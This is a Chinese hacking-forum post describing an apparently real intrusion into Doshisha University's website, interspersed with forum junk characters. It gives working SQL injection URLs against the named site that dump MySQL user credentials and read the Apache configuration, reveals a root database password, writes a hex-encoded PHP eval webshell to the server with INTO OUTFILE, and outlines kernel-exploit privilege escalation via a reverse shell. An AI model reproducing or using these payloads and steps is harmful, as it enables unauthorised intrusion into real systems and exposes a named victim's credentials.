找回密码
 立即注册
查看: 3083|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
/ z3 w1 J/ o. y1 g" _
8 m% l1 z  g# b& dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1$ f' H7 D* R5 u( D: s1 \
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
) T5 Z5 ^0 ~% v
6 m+ @6 @0 j0 |+ f  lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user" K) Q4 i! j1 M: m6 }- G5 p

1 ~; g2 O* M2 C, T
! _* p% s4 [0 t' h) |/ K6 ~2 a. z9 K+ {2 q( j
//@@datadir为数据库文件路径
5 x8 @. _  ~( v1 {; Z/ |. x
2 x+ I# Z# N* P* Z* G" U) k/ t3 h5 J" t' b
//load_file读取网站容器apache的配置文件 * [0 Q  b" r& q( j5 Q8 A

3 U' l) `7 a/ N
/ n' n  j6 m. t+ {; k' u* c//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
+ j% p) T0 n" a9 j9 @+ i& d复制代码0 }/ _; E' b0 U; T

2 p( g; z, }# X: R2 Z0 D虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
) {/ @# N  l' h, ~9 o' |- ~9 @- B2 p' {* G& u
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
. c( t+ x7 n0 E8 K9 m; y(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)3 @( b7 [1 |( D' a+ [: k

# t5 g, K; F7 x* t前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
! b% a" ?0 J) m2 S2 h8 T/ k如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
! J9 M7 m6 O3 a5 t% C2 K; I0 k3 i8 F. ^1 ~0 a" h+ q5 M( o( e) L) M' }
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/3 F* B" y1 @8 X2 r/ P
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
6 p+ d% f, D' G9 ^: v) u* u直接写一句话:
+ B' Q" C- Q. V. D( Z( P2 Z# H  ]
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#7 {, O! w; E* b8 b9 B
+ q$ ^& ^( Y  L: S0 E

8 \- t! E% U$ W$ M$ S; y. `/ _2 r* w. V3 v9 S
//最后的#是为了闭合前面的语句 , `! P. K8 A3 j
& Q7 z$ d' A1 Y
# F1 N8 b$ q& w+ p  A/ Z+ M
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E " {8 M+ s& {/ q+ D, b5 a9 J
1 ^0 F% _( l( K5 U1 S, l* T2 K! h
5 _! t) r2 a4 _7 @/ D3 g. R! |! o& H2 R' \
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 8 D6 G6 G  W# t- _4 e

1 s2 Z, r: `7 i! g# |" s5 G
7 x5 v5 S! b( q+ f: V//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 $ J: z* i/ Y* u: k2 R- Z

: K. ~  a$ j: r! G, Q
$ p+ e9 n/ l1 a# L" ^//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 / T! D6 t0 Z/ _1 P8 T. ~% }. c
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
9 [- D0 M, x* C; K. v复制代码
: w9 f3 E/ o8 `! r' _2 }. A# K# @! F* }" y# d% v! Y* K" q4 C
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
- Z& U/ Y$ `7 c3 T% C0 v1 Z通过上述注入语句,我们就得到了一句话木马:/ [( l  c& p4 i& B9 F5 H! O: H
, @$ C& _! S+ `/ n

/ B1 Q' [9 q$ d/ Y4 G' Z) u! B8 N6 V# Q) ]+ D0 ]

% E4 Y* Z4 z7 z5 s
, p+ S0 m" }1 i5 yhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
7 P1 k& Q+ a! k% ?# g& y复制代码1 {! e, f2 F( R& g7 H2 y* l
3 P0 f! r  T8 A, z4 C0 I
用菜刀连接,密码是cmd,如图所示:
; N2 [3 A, l1 x+ ]然后在命令提示行里看了一下,现在的权限是:- z& K& ~- j% e
' |; N) h0 `2 A9 U2 n6 \3 w/ p. x( w
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。. W) M& [! b9 a/ I
好在赋权给这个文件夹不需要root,直接执行赋权语句:# p8 X' ~' ^) x% {4 T
' @: P) O& b, k( |' ~. r8 }; I
. \1 s: `6 Q9 o0 R) n8 Z8 g
! M0 B) d2 }( @, E: K
9 r) L9 J# P8 N7 m+ }* R
( z, T, @, ~: w4 m1 O& F6 @
chmod +x /tmp/ & a, a. T$ S  C2 N
复制代码
' D. W3 L1 l4 x, n3 y' z% K9 E
- S/ E2 m. ?! @, H在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行/ C. E! g3 N; h4 Y' N0 C8 g
然后就查了一下内核版本:
( K8 o* @: Y1 ^4 Z
! ^' ~  n# X+ v! Q) ^. d
% [1 l5 n$ d! d  T, I6 r* @% u) C* ^4 P7 |$ m
& D6 r* x3 r  j! R  l- _

7 [( l! D' u8 j. k1 yuname-a
7 d3 V' a# B. V& B  Q3 w9 G5 P) \
: l$ J* ?. C3 H  r- \
4 O  X& `1 F% f7 H3 n9 D/ L' F" i# l//其实lsb_release -a - i( q" b; F/ `: H# I; ^, f4 O
复制代码
! M! O. q$ X) K" k! p0 p+ v9 {; F& L; w* I7 T- L
如图所示:4 d1 Y% |+ U; N+ ]* i6 x. a

5 Z# V* V2 T( ^$ z* Y内核版本:linux mainz1 2.6.28-194.e15# r- l- j5 B% l
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)7 }) u4 e  A: Q- O. K
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹: I% L" ]' W3 F6 `8 Y$ c* u* C/ a+ h

% e7 v9 r: J% ?0 E/ h/ W: C2 O% n3 Q) f然后给予执行权限
* a, F% \2 F6 U一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
1 Y5 W' \  R0 _  I
; s) i# H2 g, r7 h
# V/ @+ ?% ^4 B# ?6 O/ X! n' A; p
, r! ^, o4 ]# P! }* _3 N+ G , u; `( B9 g- M0 y' m8 N

; i; e# D0 l( t3 s! h. i4 }: e/ j8 Uchmod +x /tmp/2.6.18-194 2 k3 ?8 o* q2 F  |% q
复制代码 然后直接执行!~
) P" \  r" N; V: j! Q% L" \  M- l2 b
总结:" Z7 S0 j- `+ k: b5 Z# K
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
, N. }* g1 s. j2 v+ Q; e提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root# P2 b1 m* x, ?0 |2 _4 G& x+ y, p( Q6 ]
4 l) u0 j4 H2 a1 O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表